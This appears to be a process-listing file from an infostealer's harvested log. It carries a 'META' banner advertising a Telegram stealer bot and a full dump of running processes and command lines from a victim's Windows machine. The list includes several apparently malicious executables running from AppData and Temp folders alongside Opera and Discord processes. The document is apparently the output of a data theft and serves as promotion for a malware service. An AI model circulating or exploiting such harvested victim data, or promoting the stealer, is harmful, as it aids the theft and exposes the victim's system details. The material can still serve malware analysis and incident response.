***********************************************

* _ _ _ _ *
* / \ / \ / \ / \ *
* ( M | E | T | A ) *
* \_/ \_/ \_/ \_/ *
* *
* Telegram: https://t.me/metastealer_bot *
***********************************************

ID: 3116, Name: csrss.exe, CommandLine:

===============
ID: 1788, Name: winlogon.exe, CommandLine: C:\Windows\System32\WinLogon.exe -
SpecialSession
===============
ID: 2612, Name: fontdrvhost.exe, CommandLine: "fontdrvhost.exe"
===============
ID: 1256, Name: dwm.exe, CommandLine: "dwm.exe"
===============
ID: 1152, Name: NVDisplay.Container.exe, CommandLine: "C:\Program Files\NVIDIA
Corporation\Display.NvContainer\NVDisplay.Container.exe" -f "C:\ProgramData\NVIDIA\
DisplaySessionContainer%d.log" -d "C:\Program Files\NVIDIA Corporation\
Display.NvContainer\plugins\Session" -r -l 3 -p 30000 -c
===============
ID: 11220, Name: sihost.exe, CommandLine: sihost.exe
===============
ID: 6440, Name: svchost.exe, CommandLine: C:\Windows\system32\svchost.exe -k
UnistackSvcGroup -s CDPUserSvc
===============
ID: 5424, Name: svchost.exe, CommandLine: C:\Windows\system32\svchost.exe -k
UnistackSvcGroup -s WpnUserService
===============
ID: 8036, Name: taskhostw.exe, CommandLine: taskhostw.exe {222A245B-E637-4AE9-A93F-
A59CA119A75E}
===============
ID: 6992, Name: explorer.exe, CommandLine: C:\Windows\Explorer.EXE
===============
ID: 11156, Name: ctfmon.exe, CommandLine: "ctfmon.exe"
===============
ID: 5244, Name: svchost.exe, CommandLine: C:\Windows\system32\svchost.exe -k
ClipboardSvcGroup -p -s cbdhsvc
===============
ID: 8108, Name: StartMenuExperienceHost.exe, CommandLine: "C:\Windows\SystemApps\
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\
StartMenuExperienceHost.exe" -
ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
===============
ID: 6312, Name: RuntimeBroker.exe, CommandLine: C:\Windows\System32\
RuntimeBroker.exe -Embedding
===============
ID: 9540, Name: SearchUI.exe, CommandLine: "C:\Windows\SystemApps\
Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -
ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
===============
ID: 3668, Name: RuntimeBroker.exe, CommandLine: C:\Windows\System32\
RuntimeBroker.exe -Embedding
===============
ID: 1784, Name: mstsca.exe, CommandLine: C:\Users\Korisnik\AppData\Roaming\
Microsoft\Network\mstsca.exe
===============
ID: 10584, Name: WBGRGV.exe, CommandLine: C:\ProgramData\portableWin\WBGRGV.exe
===============
ID: 2132, Name: oneetx.exe, CommandLine: C:\Users\Korisnik\AppData\Local\Temp\
10180c8ca3\oneetx.exe
===============
ID: 7092, Name: 6A54.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\4245362f-
cbf4-440d-85ed-e6ab92230875\6A54.exe" --AutoStart
===============
ID: 5836, Name: svcservice.exe, CommandLine: "C:\Users\Korisnik\AppData\Roaming\
telemetry\svcservice.exe"
===============
ID: 8396, Name: Discord.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Discord\
app-1.0.9012\Discord.exe"
===============
ID: 9500, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --ran-launcher
===============
ID: 5804, Name: opera_crashreporter.exe, CommandLine: C:\Users\Korisnik\AppData\
Local\Programs\Opera\97.0.4719.83\opera_crashreporter.exe --type=crashpad-
handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--
database=C:\Users\Korisnik\AppData\Roaming\Opera Software\Opera Stable\Crash
Reports" "--crash-count-file=C:\Users\Korisnik\AppData\Roaming\Opera Software\Opera
Stable\crash_count.txt"
--url=https://crashstats-collector.opera.com/collector/submit --
annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --
annotation=ver=97.0.4719.83 --initial-client-
data=0x260,0x25c,0x2f0,0x218,0x2f4,0x7ffbed55a3b8,0x7ffbed55a3c8,0x7ffbed55a3d8
===============
ID: 2124, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=gpu-process --start-stack-profiler --with-
feature:aliexpress-modal=off --with-feature:automatic-video-popout-expanded=on --
with-feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --gpu-
preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAA
AAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-
platform-channel-handle=1788 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:2
===============
ID: 8096, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --
lang=en-US --service-sandbox-type=none --enable-quic --start-stack-profiler --with-
feature:aliexpress-modal=off --with-feature:automatic-video-popout-expanded=on --
with-feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --mojo-platform-channel-handle=2144 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:8
===============
ID: 9408, Name: Discord.exe, CommandLine: C:\Users\Korisnik\AppData\Local\Discord\
app-1.0.9012\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Korisnik\
AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-
annotation=ptype=crashpad-handler --database=C:\Users\Korisnik\AppData\Roaming\
discord\Crashpad --url=https://sentry.io/api/146342/minidump/?
sentry_key=384ce4413de74fe0be270abe03b2b35a "--annotation=_companyName=Discord
Inc." --annotation=_productName=Discord --annotation=_version=1.0.9012 --
annotation=plat=Win32 --annotation=prod=Electron --annotation=ver=22.3.2 --initial-
client-data=0x49c,0x4b8,0x4bc,0x484,0x4c0,0x81fef78,0x81fef88,0x81fef94
===============
ID: 10316, Name: ss31.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Temp\
ss31.exe"
===============
ID: 7228, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --
lang=en-US --service-sandbox-type=service --enable-quic --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --mojo-platform-channel-handle=2300 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:8
===============
ID: 5876, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --extension-process --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64570198499 --mojo-platform-channel-
handle=3540 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 9800, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --start-stack-profiler --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=11 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64570620595 --mojo-platform-channel-
handle=4104 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 10704, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --start-stack-profiler --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=13 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64570679911 --mojo-platform-channel-
handle=4404 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 9880, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --with-feature:aliexpress-modal=off --with-
feature:automatic-video-popout-expanded=on --with-feature:continue-on-booking=on --
with-feature:continue-shopping=on --with-feature:continue-shopping-2=on --with-
feature:continue-shopping-5=on --with-feature:continue-shopping-structured-
partners=on --with-feature:extended-unstoppable-domains=on --with-feature:feature-
remote-disable-updates-testing-flag=off --with-feature:feature-remote-updates-
testing-flag=on --with-feature:game-maker-studio-integration=on --with-
feature:gaming-api=on --with-feature:google-suggest-entities=on --with-
feature:lucid-mode-hide-text=on --with-feature:native-crypto-wallet=on --with-
feature:partner-dropdown-suggestions-boost=on --with-feature:personalized-
speeddials=on --with-feature:sd-suggestions-external=on --with-feature:sitecheck-
age=on --with-feature:specific-keywords=on --with-feature:startpage-sync-banner-
ref=on --with-feature:yandex-zen-iframe-scroll=on --with-feature:yandex-zen-leads-
for-nonsdusers=off --with-feature:yandex-zen-lift-up=off --with-feature:yandex-zen-
news=off --with-feature:yandex-zen-news-next=on --with-feature:yat-emoji-
addresses=on --with-feature:installer-experiment-test=off --with-feature:installer-
bypass-launcher=off --with-feature:installer-one-version-one-subfolder=off --
lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-
before-activation --renderer-client-id=14 --time-ticks-at-unix-epoch=-
1681869563357558 --launch-time-ticks=64570685498 --mojo-platform-channel-
handle=4468 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 11080, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --with-feature:aliexpress-modal=off --with-
feature:automatic-video-popout-expanded=on --with-feature:continue-on-booking=on --
with-feature:continue-shopping=on --with-feature:continue-shopping-2=on --with-
feature:continue-shopping-5=on --with-feature:continue-shopping-structured-
partners=on --with-feature:extended-unstoppable-domains=on --with-feature:feature-
remote-disable-updates-testing-flag=off --with-feature:feature-remote-updates-
testing-flag=on --with-feature:game-maker-studio-integration=on --with-
feature:gaming-api=on --with-feature:google-suggest-entities=on --with-
feature:lucid-mode-hide-text=on --with-feature:native-crypto-wallet=on --with-
feature:partner-dropdown-suggestions-boost=on --with-feature:personalized-
speeddials=on --with-feature:sd-suggestions-external=on --with-feature:sitecheck-
age=on --with-feature:specific-keywords=on --with-feature:startpage-sync-banner-
ref=on --with-feature:yandex-zen-iframe-scroll=on --with-feature:yandex-zen-leads-
for-nonsdusers=off --with-feature:yandex-zen-lift-up=off --with-feature:yandex-zen-
news=off --with-feature:yandex-zen-news-next=on --with-feature:yat-emoji-
addresses=on --with-feature:installer-experiment-test=off --with-feature:installer-
bypass-launcher=off --with-feature:installer-one-version-one-subfolder=off --
lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-
before-activation --renderer-client-id=16 --time-ticks-at-unix-epoch=-
1681869563357558 --launch-time-ticks=64570998225 --mojo-platform-channel-
handle=3628 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 8976, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --start-stack-profiler --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=17 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64571047482 --mojo-platform-channel-
handle=4764 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 8620, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --extension-process --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64571170781 --mojo-platform-channel-
handle=4924 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 5036, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --
lang=en-US --service-sandbox-type=audio --enable-quic --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --mojo-platform-channel-handle=3840 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:8
===============
ID: 10980, Name: Discord.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\
Discord\app-1.0.9012\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\
Korisnik\AppData\Roaming\discord" --gpu-
preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAA
AAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAA
AOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-
handle=1760 --field-trial-
handle=1700,i,2799126746874108894,5540332076373833563,131072 --disable-
features=HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProces
s,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
===============
ID: 5196, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --extension-process --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64571367041 --mojo-platform-channel-
handle=4072 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 5680, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --extension-process --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64571430557 --mojo-platform-channel-
handle=5592 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 8796, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --extension-process --with-feature:aliexpress-
modal=off --with-feature:automatic-video-popout-expanded=on --with-
feature:continue-on-booking=on --with-feature:continue-shopping=on --with-
feature:continue-shopping-2=on --with-feature:continue-shopping-5=on --with-
feature:continue-shopping-structured-partners=on --with-feature:extended-
unstoppable-domains=on --with-feature:feature-remote-disable-updates-testing-
flag=off --with-feature:feature-remote-updates-testing-flag=on --with-feature:game-
maker-studio-integration=on --with-feature:gaming-api=on --with-feature:google-
suggest-entities=on --with-feature:lucid-mode-hide-text=on --with-feature:native-
crypto-wallet=on --with-feature:partner-dropdown-suggestions-boost=on --with-
feature:personalized-speeddials=on --with-feature:sd-suggestions-external=on --
with-feature:sitecheck-age=on --with-feature:specific-keywords=on --with-
feature:startpage-sync-banner-ref=on --with-feature:yandex-zen-iframe-scroll=on --
with-feature:yandex-zen-leads-for-nonsdusers=off --with-feature:yandex-zen-lift-
up=off --with-feature:yandex-zen-news=off --with-feature:yandex-zen-news-next=on --
with-feature:yat-emoji-addresses=on --with-feature:installer-experiment-test=off --
with-feature:installer-bypass-launcher=off --with-feature:installer-one-version-
one-subfolder=off --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --
enable-main-frame-before-activation --renderer-client-id=10 --time-ticks-at-unix-
epoch=-1681869563357558 --launch-time-ticks=64571475883 --mojo-platform-channel-
handle=5528 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
ID: 11272, Name: 2E01.exe, CommandLine: C:\Users\Korisnik\AppData\Local\Temp\
2E01.exe
===============
ID: 11420, Name: consent.exe, CommandLine: consent.exe 5904 460 000001BC5CA24F80
===============
ID: 11780, Name: Discord.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\
Discord\app-1.0.9012\Discord.exe" --type=utility --utility-sub-
type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-
data-dir="C:\Users\Korisnik\AppData\Roaming\discord" --mojo-platform-channel-
handle=2196 --field-trial-
handle=1700,i,2799126746874108894,5540332076373833563,131072 --disable-
features=HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProces
s,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
===============
ID: 12252, Name: opera.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Programs\
Opera\opera.exe" --type=renderer --with-feature:aliexpress-modal=off --with-
feature:automatic-video-popout-expanded=on --with-feature:continue-on-booking=on --
with-feature:continue-shopping=on --with-feature:continue-shopping-2=on --with-
feature:continue-shopping-5=on --with-feature:continue-shopping-structured-
partners=on --with-feature:extended-unstoppable-domains=on --with-feature:feature-
remote-disable-updates-testing-flag=off --with-feature:feature-remote-updates-
testing-flag=on --with-feature:game-maker-studio-integration=on --with-
feature:gaming-api=on --with-feature:google-suggest-entities=on --with-
feature:lucid-mode-hide-text=on --with-feature:native-crypto-wallet=on --with-
feature:partner-dropdown-suggestions-boost=on --with-feature:personalized-
speeddials=on --with-feature:sd-suggestions-external=on --with-feature:sitecheck-
age=on --with-feature:specific-keywords=on --with-feature:startpage-sync-banner-
ref=on --with-feature:yandex-zen-iframe-scroll=on --with-feature:yandex-zen-leads-
for-nonsdusers=off --with-feature:yandex-zen-lift-up=off --with-feature:yandex-zen-
news=off --with-feature:yandex-zen-news-next=on --with-feature:yat-emoji-
addresses=on --with-feature:installer-experiment-test=off --with-feature:installer-
bypass-launcher=off --with-feature:installer-one-version-one-subfolder=off --
lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-
before-activation --renderer-client-id=27 --time-ticks-at-unix-epoch=-
1681869563357558 --launch-time-ticks=64575855969 --mojo-platform-channel-
handle=6232 --field-trial-
handle=1804,i,11107059588870508349,10474247067556463047,131072 /prefetch:1
===============
